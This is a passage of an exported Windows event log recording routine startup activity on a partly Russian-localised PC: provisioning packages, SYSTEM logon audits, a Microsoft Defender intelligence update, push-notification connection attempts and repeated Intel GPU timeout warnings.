{23cb517f-5073-4e96-a202-7fe6122a2271}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.076\t20\tApplying package 'Power.Settings.Graphics.ppkg' ID: {bf56ce5a-946b-45b5-858a-1794eb0125e2}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.081\t20\tApplying package 'Power.Settings.IdleResiliency.ppkg' ID: {f11899f2-71ec-4621-9997-e17ae2f6eb26}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.088\t20\tApplying package 'Power.Settings.PCIExpress.ppkg' ID: {268c43e1-aa2b-4036-86ef-8cda98a0c2fe}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.093\t20\tApplying package 'Power.Settings.Processor.Amd.ppkg' ID: {fc01e91f-914c-45af-9d7c-0b2e5fbedf63}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.099\t20\tApplying package 'Power.Settings.Processor.Intel.ppkg' ID: {fc01e91f-914c-45af-9d7c-0b2e5fbedf64}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.104\t20\tApplying package 'Power.Settings.Processor.ppkg' ID: {fc01e91f-914c-45af-9d7c-0b2e5fbedf62}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.109\t20\tApplying package 'Power.Settings.Sleep.ppkg' ID: {3742e5e8-6d9d-473b-99a6-8ecc0f43548a}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.114\t20\tApplying package 'SecureStart.Settings.ppkg' ID: {eb7d7f2f-3b77-4b87-b301-fd0d336f709a}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.122\t20\tApplying package 'Microsoft.Windows.Cosa.Desktop.Client.ppkg' ID: {c8a326e4-f518-4f14-b543-97a57e1a975e}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.989\t1\tTenant P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 has been registered for telemetry usage.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:39:08.999\t1\tTenant P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230 has been registered for telemetry usage.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:39:13.004\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:28.578\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:29.543\t10016\t\"The \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f permission settings do not grant \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f permission for the COM Server application with CLSID \n{9EA82395-E31B-41CA-8DF7-EC1CEE7194DF}\n and APPID \n{2ED83BAA-B2FD-43B1-99BF-E6149C622692}\n to the user NT AUTHORITY\\NETWORK SERVICE SID (S-1-5-20) from address LocalHost (\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c LRPC) running in the application container \u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e SID (\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e). This security permission can be modified using the Component Services administrative tool.\"\tWarning\tSystem\tMicrosoft-Windows-DistributedCOM\n05.09.2026 08:39:31.138\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:31.662\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:31.662\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:32.031\t16\tCounter 11 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:39:32.031\t16\tCounter 6 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:39:32.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:33.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:33.554\t26\tWindows Update successfully found 1 updates.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:39:33.554\t26\tWindows Update successfully found 0 updates.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:39:33.554\t44\tWindows Update started downloading an update.\tInformation\tSystem\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:39:33.554\t41\tAn update was downloaded.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:39:33.555\t43\tInstallation Started: Windows has started installing the following update: \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u0433\u0440\u043e\u0437 \u0434\u043b\u044f Microsoft Defender Antivirus \u2014 KB2267602 (\u0432\u0435\u0440\u0441\u0438\u044f 1.459.55.0) \u2014 \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u0430\u043d\u0430\u043b (\u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0432\u044b\u043f\u0443\u0441\u043a)\tInformation\tSystem\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:39:33.586\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:34.111\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.111\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.111\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.112\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.112\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.112\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.127\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.130\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.135\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.175\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.189\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.189\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:34.257\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:37.401\t800\tMaintenance state changed to 3 (Last Run: \u200e05.\u200e09.\u200e2026 8:39).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:39:37.447\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:37.447\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:37.938\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:38.489\t800\tMaintenance state changed to 1 (Last Run: \u200e05.\u200e09.\u200e2026 8:39).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:39:38.496\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:39.348\t2000\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender security intelligence version updated.\n \tCurrent security intelligence Version: 1.459.55.0\n \tPrevious security intelligence Version: 1.459.28.0\n \tSecurity intelligence Type: \u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\n \tUpdate Type: \u0420\u0430\u0437\u043d\u043e\u0441\u0442\u043d\u043e\u0435\n \tUser: NT AUTHORITY\\\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n \tCurrent Engine Version: 1.1.26080.3\n \tPrevious Engine Version: 1.1.26080.3\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:39:39.348\t2000\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender security intelligence version updated.\n \tCurrent security intelligence Version: 1.459.55.0\n \tPrevious security intelligence Version: 1.459.28.0\n \tSecurity intelligence Type: \u0410\u043d\u0442\u0438\u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\n \tUpdate Type: \u0420\u0430\u0437\u043d\u043e\u0441\u0442\u043d\u043e\u0435\n \tUser: NT AUTHORITY\\\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n \tCurrent Engine Version: 1.1.26080.3\n \tPrevious Engine Version: 1.1.26080.3\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:39:39.454\t19\tInstallation Successful: Windows successfully installed the following update: \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u0433\u0440\u043e\u0437 \u0434\u043b\u044f Microsoft Defender Antivirus \u2014 KB2267602 (\u0432\u0435\u0440\u0441\u0438\u044f 1.459.55.0) \u2014 \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u0430\u043d\u0430\u043b (\u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0432\u044b\u043f\u0443\u0441\u043a)\tInformation\tSystem\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:39:39.495\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:39.717\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:39.813\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\CoreService\\WdConfigHash = 0xCB77E2D1\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\CoreService\\WdConfigHash = 0x5855D937\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:39:39.937\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:40.159\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:40.381\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:40.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:40.718\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:40.939\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:41.159\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:41.374\t15\tUpdated Windows Defender status successfully to SECURITY_PRODUCT_STATE_ON.\tInformation\tApplication\tSecurityCenter\n05.09.2026 08:39:41.380\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:41.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:41.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:42.159\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:42.382\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:42.606\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:42.717\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:42.942\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:42.982\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:42.983\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:42.996\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:42.996\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:43.162\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:43.388\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:43.641\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:43.839\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:44.057\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:44.279\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:44.502\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:44.722\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:44.853\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:44.943\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:45.176\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:45.389\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous 